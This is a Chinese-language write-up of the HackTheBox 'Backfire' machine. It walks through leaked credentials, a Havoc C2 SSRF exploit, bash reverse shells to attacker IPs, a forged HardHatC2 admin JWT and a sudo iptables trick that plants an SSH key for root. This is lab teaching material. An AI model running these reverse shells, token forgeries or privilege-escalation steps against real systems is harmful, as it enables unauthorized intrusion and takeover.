> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md).

# Backfire HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/643>" %}

{% hint style="warning" %}
**技能：**

* 信息泄露（Yaotl 文件）
* Havoc-C2 利用（端口 40046）
* 创建 SSH 密钥
* 横向移动（用户：Sergej）
* HardHat 利用（端口 7096）
  * HardHat - 绕过身份验证
  * HardHat - 远程代码执行
* Sudo 权限提升（IPTables）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/40a89a569cb708c1b91cccc24698cbbf5f3b1fe3" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/88ab862fbffd839a6087098c9279967d04a4a5be" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts
```

<figure><img src="/files/da8d6aa3d4ad24bf09b65f88c7c6796bcf7e767d" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：（22、443、8000）

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted
```

<figure><img src="/files/ffdfb5c2a6492c19d74189060b62d68a536535b1" alt=""><figcaption></figcaption></figure>

### 端口 8000

在 8000 端口上，我们发现了两个有趣的文件：

* `disable_tls.path`
* `havoc.yaotl`

<figure><img src="/files/6ecd86c84cd321af96d2658ce3a71ce0e0682ba6" alt=""><figcaption></figcaption></figure>

该 **havoc.yaotl** 该文件包含两个用户及其密码和一个域名：

* **ilya:** `CobaltStr1keSuckz!`
* **sergej:** `1w4nt2sw1tch2h4rdh4tc2`
* **主机：** `backfire.htb`

<figure><img src="/files/fb0c5e18c2fc5fffe4c857d9cf39bda919a86e42" alt=""><figcaption></figcaption></figure>

我们将此主机名添加到我们的 `/etc/hosts` 文件中，以便更方便地访问。

<figure><img src="/files/5bbcc66ad7438eb09dbd0e79798f4e7fd2b1e720" alt="" width="563"><figcaption></figcaption></figure>

该 **disable/ tls.path** 该文件包含一个补丁，用于在 Havoc 中禁用 WebSocket 管理端口（40056）的 TLS。此补丁将“wss\://”替换为“ws\://”，并移除了客户端和服务器端的 SSL 配置。作者通过说明该端口只接受通过 SSH 转发的本地连接来为这一更改辩护，从而降低安全风险。这个补丁似乎也像是在讽刺用户 **sergej**'s 快速工作。

<figure><img src="/files/92798347d85c36b70eeb6bff9b0633fc24691334" alt=""><figcaption></figcaption></figure>

## 端口 40046 Havoc-C2

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

为了利用 Havoc 中的 SSRF 漏洞，我们创建一个 `payload.sh` 包含以下代码的文件：

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

接着，我们使用以下命令搭建一个 Web 服务器来托管我们的 payload：

```bash
python3 -m http.server 80
```

然后，我们使用 netcat 监听 4444 端口以接收反向连接：

```bash
nc -nlvp 4444
```

我们修改脚本以包含相关信息，然后通过以下命令运行利用：

<figure><img src="/files/4de0bad9a3bbf4d6e5606f24f5d41832a32bafc9" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**用户访问：**

用户 **ilya** 使你能够连接到目标机器。

<figure><img src="/files/20fe9189586007c82a8258fc927034895d5a5e09" alt=""><figcaption></figcaption></figure>

#### 终端稳定化

<pre class="language-bash"><code class="lang-bash">script /dev/null -c bash
按下 `Ctrl+Z`，然后稳定终端：

stty raw -echo; fg
reset xterm
export TERM=xterm
<strong>export SHELL=bash
</strong>stty rows 44 columns 184
</code></pre>

### user.txt 旗标

<figure><img src="/files/2d1bac2dc4716deef290f9dfd282eef3997a00c8" alt="" width="563"><figcaption></figcaption></figure>

我们观察到一个 cron 任务每 2 分钟都会踢掉我们的会话。为了解决这个问题，我们将创建 SSH 密钥。

### **创建 SSH 密钥：**

我们使用以下命令生成一个新的 SSH 密钥：

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
```

{% endcode %}

<figure><img src="/files/72dd2ce4ea0ea6e12ad9b315c8ee92e31eacccc1" alt=""><figcaption></figcaption></figure>

然后我们修改 `authorized_keys` 文件以添加我们的公钥：

{% code overflow="wrap" %}

```bash
echo "你的密钥" | tee -a ~/.ssh/authorized_keys
```

{% endcode %}

<figure><img src="/files/53e891daff382c909919db272c17f541049180a8" alt=""><figcaption></figcaption></figure>

然后我们使用 SSH 连接到目标机器：

```bash
ssh ilya@backfire.htb
```

<figure><img src="/files/830b0bdf2ae6ac62d1e1e1e4fdfae1dc858542d2" alt=""><figcaption></figcaption></figure>

### **横向切换到用户 Sergej**

在用户的目录中 `ilya`，我们找到一个文件 `hardhat.txt` 其中包含以下消息：

> Sergej 说他安装了 HardHatC2 进行测试，并且没有更改默认设置。我希望他更喜欢 Havoc，因为我可不想再去学习另一个 C2 框架，而且是 Go

<figure><img src="/files/0548a897b71d97461de5eac6e28690a7147ab739" alt=""><figcaption></figcaption></figure>

我们使用以下工具检查内部端口： `netstat` 命令：

```bash
netstat -tuln
```

5000 和 7096 端口似乎特别有意思。

<figure><img src="/files/2a2d0b310b7f2b58aca37738b549c30b6aa8de81" alt=""><figcaption></figcaption></figure>

**端口转发：**

我们使用 SSH 进行端口转发以访问内部服务：

```bash
ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb
```

## **端口 7096 - HardHatC2 CMS：**

在 7096 端口上，我们找到了 HardHat CMS。

<figure><img src="/files/a30d7bad57668d56b05a2b64a6792f0166537791" alt=""><figcaption></figcaption></figure>

### **HardHat C2 身份验证绕过**

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

我们使用以下脚本绕过身份验证并创建一个新用户：

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# 构造管理员 JWT  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("生成的 JWT：")  
print(token)  
  
# 使用管理员 JWT 以 TeamLead 身份创建新用户 'sth_pentest'  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "TeamLead",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

该脚本生成用户 `jordan` ，角色为 `TeamLead`.

<figure><img src="/files/f7ab000aa356d9a94b1c6b4c7b3737eb069b39d3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a51134f392cee4a0905a75152c319c01b0ce59ce" alt=""><figcaption></figcaption></figure>

### Hardhat C2（RCE）

在 `ImplantInteract` 部分，我们获得了终端访问权限。运行 `whoami` 命令后，我们看到自己已作为用户登录 `sergej`.

<figure><img src="/files/e2bc0b8ddcfd0f7974bcab56be8db4ecaaa2063d" alt=""><figcaption></figcaption></figure>

我们为用户建立一个反向 shell `sergej` ，通过监听 443 端口：

```bash
nc -nlvp 443
```

然后我们运行以下命令建立反向连接

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

连接成功后，我们将 SSH 密钥添加到 `authorized_keys` 中，以便轻松重新连接：

<figure><img src="/files/a2393962a2f02e99a7f9035df09b3a5e28fcf819" alt="" width="563"><figcaption></figcaption></figure>

```bash
echo "你的密钥" | tee -a ~/.ssh/authorized_keys
```

## **权限提升：**

### **Sudo - IP-Tables**

**检查 sudo 权限**

首先，我们检查该机器上可用的 sudo 权限：

```bash
sudo -l
```

<figure><img src="/files/59927f42ed905d08a2a9851532bf1d76e5b08caa" alt="" width="556"><figcaption></figcaption></figure>

我们发现该用户拥有 `sudo` 以下命令的免密码权限：

* `/usr/sbin/iptables`
* `/usr/sbin/iptables-save`

**生成一对 SSH 密钥**

我们生成一对 SSH 密钥，以便将公钥注入 root 的认证文件中：

```bash
ssh-keygen  -t ed25519
```

以下是生成的公钥：

{% code overflow="wrap" %}

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot
```

{% endcode %}

**将公钥注入 iptables**

我们使用 `--comment` 字段的 `iptables` 将我们的公钥注入到一条规则中

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n'
```

{% endcode %}

我们检查规则是否已添加：

```bash
 sudo /usr/sbin/iptables -L
```

<figure><img src="/files/acf791aad0609c6e9cc844e018ac00d80ffa6896" alt=""><figcaption></figcaption></figure>

**保存到 authorized/\_keys 文件中**

我们将 iptables 规则保存到一个文件中，该文件将被用作 root 用户的 `authorized_keys` 文件：

```bash
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2
```

**以 root 身份登录**

最后，我们可以通过 SSH 以 root 身份连接：

```bash
ssh root@backfire.htb
```

<figure><img src="/files/3b9bf2236adac34d5ec9b57f0f90e906c8ca3657" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/b8dae31a00fc373eb74f7d1a21f28c0081929773" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
